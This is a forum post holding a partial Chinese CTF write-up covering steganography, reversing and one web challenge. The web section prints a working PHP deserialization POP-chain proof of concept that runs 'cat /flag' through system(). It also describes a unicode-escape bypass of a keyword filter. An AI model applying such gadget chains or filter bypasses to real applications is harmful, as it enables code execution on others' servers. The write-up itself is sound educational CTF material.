ToB企服应用市场:ToB评测及商务社交产业平台

标题: 掌控安全CTF-2024年5月擂台赛-WP(部门) [打印本页]

作者: 东湖之滨    时间: 2024-6-25 18:44
标题: 掌控安全CTF-2024年5月擂台赛-WP(部门)
MISC

ez_Misc

标题给了一个加密的压缩包和一个文本文档,起首我们先来看文本的内容,如下:

很容易看出,0宽隐写,用PuzzleSolver梭哈一下,发现了:Thi3 is n0t 2 hint

又在文本中发现一个特征,标点符号只有“,”和“。” 猜测为二进制,将“,”更换为“0”;“。”更换为“1”,可得到一串字符:
  1. 01111010011010110110000101110001001000010100000000110011001100010011001000110011
复制代码
用赛博橱子解密一下得到压缩包暗码:zkaq!@3123

解开压缩包后得到flag.apng,直接用工具apngdis_gui可以分离出四张图片




可以发现第四张图片有点可疑,是黑的,不过我们能隐隐看出来有张二维码在上面
直接使用QR扫描即可得到一串base64密文:ZmxhZ3thcG5nX2lzX2V6fQ==,解密后得到flag
flag{apng_is_ez}

假如着实没看到的话(或者扫不出来),可以放stegsolve里面看看,red plane 3,够清楚了吧哈哈哈。

扫描结果都是一样的,如下图:


ezBMP

标题只给了一个bmp文件,一开始试了好多东西都没什么好的结果,厥后使用工具Picsel梭了
起首我们先试用foremost分离一下1.bmp,可以得到两张bmp文件
  1. foremost -T 1.bmp
复制代码

然后直接使用Picsel,过程大抵如下:
先选择 Open Original Image,放入第一个图片00000000.bmp,再点击Decrypt Image功能,选择第二个图片00000113.bmp

得到flag:flag{ez_zkaq_steganography_xor}
Web

Base_pop

进入页面,只给了一个信息source=1,访问一下得到了php源码

分析一下我们必要
  
  1. 创建一个 Joker 对象并对其进行序列化。
  2. 然后对序列化字符串进行base64编码并输出。
  3. 当这个序列化对象被反序列化时,会调用 Joker 类的 __destruct 方法,继而调用 Bigger 类的 __toString 方法。
  4. __toString 方法尝试调用 Lisa 对象的 print 方法。
  5. 由于 Lisa 没有 print 方法,会触发 __call 魔术方法,从而执行 system('cat /flag')。
复制代码
Poc如下:
  1. <?php
  2. class Bigger{
  3.     public $Processing_strings;
  4.     function __construct()
  5.     {
  6.         $this->Processing_strings=new Lisa();
  7.     }
  8.    
  9.     public function __toString(){
  10.         echo 'aaa';
  11.         $this->Processing_strings->print();
  12.     }
  13. }
  14. class Joker{
  15.     private $Error;
  16.     function __construct()
  17.     {
  18.         $this->Error=new Bigger();
  19.     }
  20.    
  21.    
  22.     public function __destruct(){
  23.         echo 'bbb';
  24.          echo($this->Error);
  25.     }
  26. }
  27. class Toke{
  28.     public function print(){
  29.         
  30.         echo "===========print=========";
  31.     }
  32. }
  33. class Lisa{
  34.     public function __call($name, $arguments)
  35.     {
  36.         system('cat /flag');
  37.     }
  38. }
  39. $a=new Joker();
  40. echo base64_encode(serialize($a));
复制代码
运行后得到
  
  1. Tzo1OiJKb2tlciI6MTp7czoxMjoiAEpva2VyAEVycm9yIjtPOjY6IkJpZ2dlciI6MTp7czoxODoiUHJvY2Vzc2luZ19zdHJpbmdzIjtPOjQ6Ikxpc2EiOjA6e319fQ==bbbaaa,#bbbaaa上传的时候去掉
复制代码
根据PHP源码可知我们上传的时候必要使用PUT方式,而且pop被过滤了,将php转义一下,可以使用unicode编码绕过(由于这里上传的是json数据,“pop”=="\u0070\u006f\u0070"),发包后即可得到flag:flag{b4e0890d58dd4208bb832915dae872e1}


Reverse

做题做累了,来玩一会游戏吧

标题给了一个1.c3p文件,放入010检察发现pk字样,我直接改后缀为zip,解压后得到一堆文件,检察了很多文件信息,最终在文件夹eventSheets里的“变乱表 2.json”发现关键信息,如下:

  
  1. 标签内容为:let i;\nlet a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];\nlet c = "";\nlet tmp;\nfor (i=0;i<28;i++)\n{\n\ttmp = a[i];\n\ttmp = tmp ^ 3;\n\ttmp -= 8;\n\tc += String.fromCharCode(tmp);\n\n}\n// console.log(c);\nruntime.globalVars.flag = c;\n
  2. 这段代码对一个数组的每个元素进行了一些运算,然后将结果转换为字符并组合成一个字符串。让我们一步步地解释这段代码:
  3. 定义了一个包含28个元素的数组 a。
  4. 初始化一个空字符串 c。
  5. 使用一个循环遍历数组 a 的每个元素(从 i = 0 到 i < 28)。
  6. 在循环内部,对每个元素 tmp 执行以下操作:
  7. 将元素与3进行异或运算 (tmp = tmp ^ 3)
  8. 将结果减去8 (tmp -= 8)
  9. 将结果转换为字符并附加到字符串 c 上
  10. 最终的结果存储在 runtime.globalVars.flag 中。
  11. 下面是代码的具体步骤和解释:
  12. #javascript
  13. let a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];
  14. let c = "";
  15. let tmp;
  16. for (let i = 0; i < 28; i++) {
  17.    tmp = a[i];
  18.    tmp = tmp ^ 3;
  19.    tmp -= 8;
  20.    c += String.fromCharCode(tmp);
  21. }
  22. // console.log(c);
  23. runtime.globalVars.flag = c;
复制代码
我们可以使用 Python 来执行相同的操作,并得到最终的字符串 c: 
  1. #python
  2. a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134]
  3. c = ""
  4. for i in range(28):
  5.     tmp = a[i]
  6.     tmp = tmp ^ 3
  7.     tmp -= 8
  8.     c += chr(tmp)
  9. print(c)
复制代码
运行上述 Python 代码,可以得到字符串 c,即: flag{112f_bcdf_2499_c045773}
givemeflag

放入ida,检察main函数

点击check函数,如下:

定位到table和funcs

将table数据提取出来,用16进制表示
  1. table = [
  2.     0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
  3.     0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
  4.     0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
  5. ]
复制代码
编写exp:
  1. # 给定的字符串和数组str = "fAkeflag{tHis_Is_nOt_the_rEal_Flag}"​# 加密所需的数组encryption_table = [
  2.     0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
  3.     0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
  4.     0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
  5. ]​# 将输入字符串转换为字符列表以进行可变操作char_list = list(str)​# 迭代数组并加密字符串for i, value in enumerate(encryption_table):    # 每次迭代获取字符列表和数组的长度    char_index = i % len(char_list)​    # 根据索引对3取模的结果执行不同的加密操作    if i % 3 == 0:        # 增加ASCII值        char_list[char_index] = chr((ord(char_list[char_index]) + value) % 256)    elif i % 3 == 1:        # 减去ASCII值        char_list[char_index] = chr((ord(char_list[char_index]) - value) % 256)    else:        # 异或ASCII值        char_list[char_index] = chr((ord(char_list[char_index]) ^ value) % 256)​# 将列表重新组合成字符串flag = ''.join(char_list)print(flag)
复制代码
运行后得到flag:
flag{f14g_ch3ck_9oUr_g3titbr0ther!}

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4